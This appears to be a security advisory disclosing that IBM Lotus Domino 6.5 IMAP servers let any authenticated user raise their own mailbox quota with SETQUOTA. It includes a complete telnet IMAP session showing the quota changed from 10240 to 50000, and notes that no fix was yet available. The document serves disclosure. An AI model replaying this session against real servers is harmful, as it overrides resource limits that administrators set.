this problem has been reported to IBM Lotus customer support on January 19,2004.
Affected versions: Domino 6.5.0/6.5.1 (other versionns not tested by me)
Abstract: Every user can change his quota on an imap-enabled Domino server to every value he likes.
Detailed description: If your mailfile is imap-enabled and you have access to an imap-enabled Domino-server you can change your quota to arbitrary values. To do this make a telnet conntection to the imap-server and use the setquota command to change the quota. If the server only accepts imaps connections you can use stunnel or openssl s_client. Here is an example for an unencrypted session:
Trying ip-address Connected to imap. Escape character is '^]'. * OK Domino IMAP4 Server Release 6.5 ready Mon, 19 Jan 2004 01:40:03 +0100
* CAPABILITY IMAP4rev1 AUTH=PLAIN LITERAL+ NAMESPACE QUOTA UIDPLUS 1 OK CAPABILITY completed 2 login user password 2 OK LOGIN completed 3 getquota
* QUOTA "" (STORAGE 45548 10240)
3 OK GETQUOTA completed 4 setquota "" (storage 50000) * QUOTA "" (STORAGE 45548 50000) 4 OK SETQUOTA completed 5 getquota * QUOTA "" (STORAGE 45548 50000) 5 OK GETQUOTA completed 6 logout
Solution: No solution is provided by IBM by now. You can watch the proceeding by watching for SPR# SEGN5VEFHE. This will not be fixed in the R6 codestream. R7 will probably contain the fix.